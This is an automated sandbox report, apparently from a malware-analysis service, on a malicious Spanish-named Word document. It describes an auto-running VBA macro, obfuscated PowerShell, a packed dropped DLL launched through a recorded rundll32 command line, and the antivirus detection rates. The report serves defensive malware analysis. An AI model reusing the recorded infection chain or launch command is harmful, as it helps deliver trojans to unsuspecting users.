Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00217D03		9_2_00217D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00215D1D		9_2_00215D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00217F1F		9_2_00217F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00213FE7		9_2_00213FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00209FDC		9_2_00209FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032B41F		10_2_0032B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032EE78		10_2_0032EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00322C63		10_2_00322C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00333895		10_2_00333895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032568E		10_2_0032568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003342DA		10_2_003342DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003302C3		10_2_003302C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032C0C6		10_2_0032C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00328736		10_2_00328736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00327B63		10_2_00327B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00334B41		10_2_00334B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003363C1		10_2_003363C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00322A30		10_2_00322A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00329A37		10_2_00329A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00324A35		10_2_00324A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0033340A		10_2_0033340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00337A0F		10_2_00337A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0033687F		10_2_0033687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00335A61		10_2_00335A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032E05A		10_2_0032E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032F444		10_2_0032F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032EA4C		10_2_0032EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003280BA		10_2_003280BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003260B9		10_2_003260B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003248BD		10_2_003248BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003262A3		10_2_003262A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0033A0AF		10_2_0033A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0033889D		10_2_0033889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00321280		10_2_00321280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003326F5		10_2_003326F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00321CFA		10_2_00321CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003312E2		10_2_003312E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003288E5		10_2_003288E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00338ADC		10_2_00338ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003320C5		10_2_003320C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003296CD		10_2_003296CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00330D33		10_2_00330D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032F536		10_2_0032F536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032BB3A		10_2_0032BB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032153C		10_2_0032153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032B112		10_2_0032B112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00332B16		10_2_00332B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0033511B		10_2_0033511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00337F1F		10_2_00337F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00335D1D		10_2_00335D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00338D1C		10_2_00338D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00337D03		10_2_00337D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00330F0C		10_2_00330F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00331773		10_2_00331773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032E377		10_2_0032E377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00328F78		10_2_00328F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00325B79		10_2_00325B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032C769		10_2_0032C769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00330B68		10_2_00330B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00326754		10_2_00326754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032B75F		10_2_0032B75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00339B45		10_2_00339B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00332349		10_2_00332349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00338F49		10_2_00338F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00336DB9		10_2_00336DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003361B8		10_2_003361B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003269A0		10_2_003269A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003217AC		10_2_003217AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003373AC		10_2_003373AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00327998		10_2_00327998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00326D9F		10_2_00326D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032839D		10_2_0032839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00339586		10_2_00339586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0033878F		10_2_0033878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032F98C		10_2_0032F98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003331E2		10_2_003331E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00333FE7		10_2_00333FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032D7EB		10_2_0032D7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003367E9		10_2_003367E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_003371EF		10_2_003371EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00331BDF		10_2_00331BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_00329FDC		10_2_00329FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024B41F		11_2_0024B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00242C63		11_2_00242C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024EE78		11_2_0024EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024568E		11_2_0024568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00253895		11_2_00253895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024C0C6		11_2_0024C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002502C3		11_2_002502C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002542DA		11_2_002542DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00248736		11_2_00248736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00247B63		11_2_00247B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00254B41		11_2_00254B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002563C1		11_2_002563C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00244A35		11_2_00244A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00249A37		11_2_00249A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00242A30		11_2_00242A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00257A0F		11_2_00257A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0025340A		11_2_0025340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00255A61		11_2_00255A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0025687F		11_2_0025687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024F444		11_2_0024F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024EA4C		11_2_0024EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024E05A		11_2_0024E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002462A3		11_2_002462A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0025A0AF		11_2_0025A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002448BD		11_2_002448BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002460B9		11_2_002460B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002480BA		11_2_002480BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00241280		11_2_00241280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0025889D		11_2_0025889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002488E5		11_2_002488E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002512E2		11_2_002512E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002526F5		11_2_002526F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00241CFA		11_2_00241CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002520C5		11_2_002520C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002496CD		11_2_002496CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00258ADC		11_2_00258ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024F536		11_2_0024F536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00250D33		11_2_00250D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024153C		11_2_0024153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024BB3A		11_2_0024BB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00257D03		11_2_00257D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00250F0C		11_2_00250F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00252B16		11_2_00252B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024B112		11_2_0024B112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00255D1D		11_2_00255D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00258D1C		11_2_00258D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00257F1F		11_2_00257F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0025511B		11_2_0025511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024C769		11_2_0024C769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00250B68		11_2_00250B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024E377		11_2_0024E377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00251773		11_2_00251773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00248F78		11_2_00248F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00245B79		11_2_00245B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00259B45		11_2_00259B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00252349		11_2_00252349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00258F49		11_2_00258F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00246754		11_2_00246754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024B75F		11_2_0024B75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002469A0		11_2_002469A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002417AC		11_2_002417AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002573AC		11_2_002573AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00256DB9		11_2_00256DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002561B8		11_2_002561B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00259586		11_2_00259586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024F98C		11_2_0024F98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0025878F		11_2_0025878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024839D		11_2_0024839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00246D9F		11_2_00246D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00247998		11_2_00247998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00253FE7		11_2_00253FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002531E2		11_2_002531E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002571EF		11_2_002571EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002567E9		11_2_002567E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024D7EB		11_2_0024D7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00249FDC		11_2_00249FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00251BDF		11_2_00251BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EB41F		12_2_002EB41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E2C63		12_2_002E2C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EEE78		12_2_002EEE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E568E		12_2_002E568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F3895		12_2_002F3895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EC0C6		12_2_002EC0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F02C3		12_2_002F02C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F42DA		12_2_002F42DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E8736		12_2_002E8736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E7B63		12_2_002E7B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F4B41		12_2_002F4B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F63C1		12_2_002F63C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E9A37		12_2_002E9A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E4A35		12_2_002E4A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E2A30		12_2_002E2A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F7A0F		12_2_002F7A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F340A		12_2_002F340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F5A61		12_2_002F5A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F687F		12_2_002F687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EEA4C		12_2_002EEA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EF444		12_2_002EF444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EE05A		12_2_002EE05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002FA0AF		12_2_002FA0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E62A3		12_2_002E62A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E48BD		12_2_002E48BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E80BA		12_2_002E80BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E60B9		12_2_002E60B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E1280		12_2_002E1280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F889D		12_2_002F889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E88E5		12_2_002E88E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F12E2		12_2_002F12E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E1CFA		12_2_002E1CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F26F5		12_2_002F26F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E96CD		12_2_002E96CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F20C5		12_2_002F20C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F8ADC		12_2_002F8ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E153C		12_2_002E153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EBB3A		12_2_002EBB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EF536		12_2_002EF536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F0D33		12_2_002F0D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F0F0C		12_2_002F0F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F7D03		12_2_002F7D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F7F1F		12_2_002F7F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F5D1D		12_2_002F5D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F8D1C		12_2_002F8D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F511B		12_2_002F511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F2B16		12_2_002F2B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EB112		12_2_002EB112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EC769		12_2_002EC769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F0B68		12_2_002F0B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E8F78		12_2_002E8F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E5B79		12_2_002E5B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EE377		12_2_002EE377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F1773		12_2_002F1773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F2349		12_2_002F2349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F8F49		12_2_002F8F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F9B45		12_2_002F9B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EB75F		12_2_002EB75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E6754		12_2_002E6754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E17AC		12_2_002E17AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F73AC		12_2_002F73AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E69A0		12_2_002E69A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F6DB9		12_2_002F6DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F61B8		12_2_002F61B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F878F		12_2_002F878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EF98C		12_2_002EF98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F9586		12_2_002F9586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E6D9F		12_2_002E6D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E839D		12_2_002E839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002E7998		12_2_002E7998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F71EF		12_2_002F71EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002ED7EB		12_2_002ED7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F67E9		12_2_002F67E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F3FE7		12_2_002F3FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002F31E2		12_2_002F31E2

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation	OLE, VBA macro: Module T77vhvocooru69svd, Function Document_open			Name: Document_open

Document contains embedded VBA macros

Source: Archivo 3012 122020 276701.doc

OLE indicator, VBA macros: true

Found potential string decryption / allocating functions

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10029D17 appears 108 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10026566 appears 66 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 100040F0 appears 118 times

Yara signature match

Source: 00000005.00000002.2100074595.00000000001F6000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2100293104.0000000001CB6000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =

PE file has section (not .text) which is very likely to contain packed code (zlib compression ratio < 0.011)

Source: D71J.dll.5.dr

Static PE information: Section: .rsrc ZLIB complexity 0.995798093463

Binary contains paths to development resources

Source: rundll32.exe, 00000006.00000002.2109903291.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103645089.0000000001E20000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Classification label

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@32/7@1/2

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$chivo 3012 122020 276701.doc

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRDB41.tmp

Jump to behavior

Document contains an OLE Word Document stream indicating a Microsoft Word file

Source: Archivo 3012 122020 276701.doc

OLE indicator, Word Document stream: true

Document contains summary information with irregular field values

Source: Archivo 3012 122020 276701.doc	OLE document summary: title field not present or empty
Source: Archivo 3012 122020 276701.doc	OLE document summary: edited time not present or 0

Found command line output

Source: C:\Windows\System32\msg.exe	Console Write: ........................................ .>.......>.............0.......................#...............................h.......5kU.............			Jump to behavior
Source: C:\Windows\System32\msg.exe	Console Write: ................................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e...............L.......................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................................................`I.........v.....................K........X.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................E.......................d..j....................................}..v............0...............................................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................d..j..... ..............................}..v............0.................X.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....................................}..v....X.......0...............................................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....h.X.............................}..v............0.................X.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#..................j....................................}..v............0...............................................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#..................j..... ..............................}..v....0.......0...............8.X.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....'...............D..j....................................}..v..... ......0...............h.X.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....+...............D..j....E...............................}..v.....^......0...............h.X.............................			Jump to behavior

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior

Queries process information (via WMI, Win32_Process)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\System32\msg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL

Sample is known by Antivirus

Source: Archivo 3012 122020 276701.doc	Virustotal: Detection: 57%
Source: Archivo 3012 122020 276701.doc	Metadefender: Detection: 44%
Source: Archivo 3012 122020 276701.doc	ReversingLabs: Detection: 68%

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
